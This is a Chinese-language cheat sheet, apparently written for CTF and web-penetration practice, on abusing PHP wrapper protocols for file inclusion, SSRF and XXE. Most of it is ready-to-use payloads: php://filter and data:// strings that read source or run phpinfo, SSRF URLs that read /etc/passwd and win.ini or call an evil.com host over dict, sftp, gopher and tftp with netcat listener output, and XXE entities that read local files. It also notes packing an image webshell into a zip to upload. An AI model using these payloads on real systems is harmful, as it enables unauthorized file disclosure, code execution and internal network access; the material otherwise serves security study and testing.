文章目录
一、各伪协议使用方法
- php://协议——访问各个输入输出流(I/O streams)
- php://filter——用于读取源码,输出base64加密后的信息
?file=php://filter/convert.base64-encode/resource=xx.php
或
?file=php://filter/read=convert.base64-encode/resource=xx.php
- php://input——读取POST数据,用于执行php代码
- file://伪协议——读取文件内容
- phar://——读取压缩包文件内容
?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php
- zip://——读取压缩包文件内容
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
例: zip://D:\phpstudy\WWW\x.zip%23shell.php #->%23
- . data://——以get方式提交数据,执行php代码。
?file=data://text/plain,<?php%20phpinfo()?>
二、文件包含 ,XXE,XSSRF利用伪协议的异同
SSRF ssrf利用伪协议
类型:
file:///
— 从文件系统中获取文件
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
若该服务器阻止对外部站点发送http请求,或设了白名单,则用以下协议绕过
dict://
— 引用允许通过DICT协议使用的定义或单词列表
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
sftp://
Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap://或ldaps://或ldapi://
ladp代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
XXE
php://filter -- 读取文件内容
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>
file:// -- 读取用户端文件
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
文件包含
php://filter
– 读取文件file://绝对路径
— 读取文件内容php://input
— 读取post数据phar://
压缩包名/内部文件名 – 配合文件上传,可把图片马压缩为一个压缩包后上传再查看zip://
压缩文件绝对路径 %23 压缩文件内的子文件名 — # == %23data://text/plain,<?php ?>
– get方式提交数据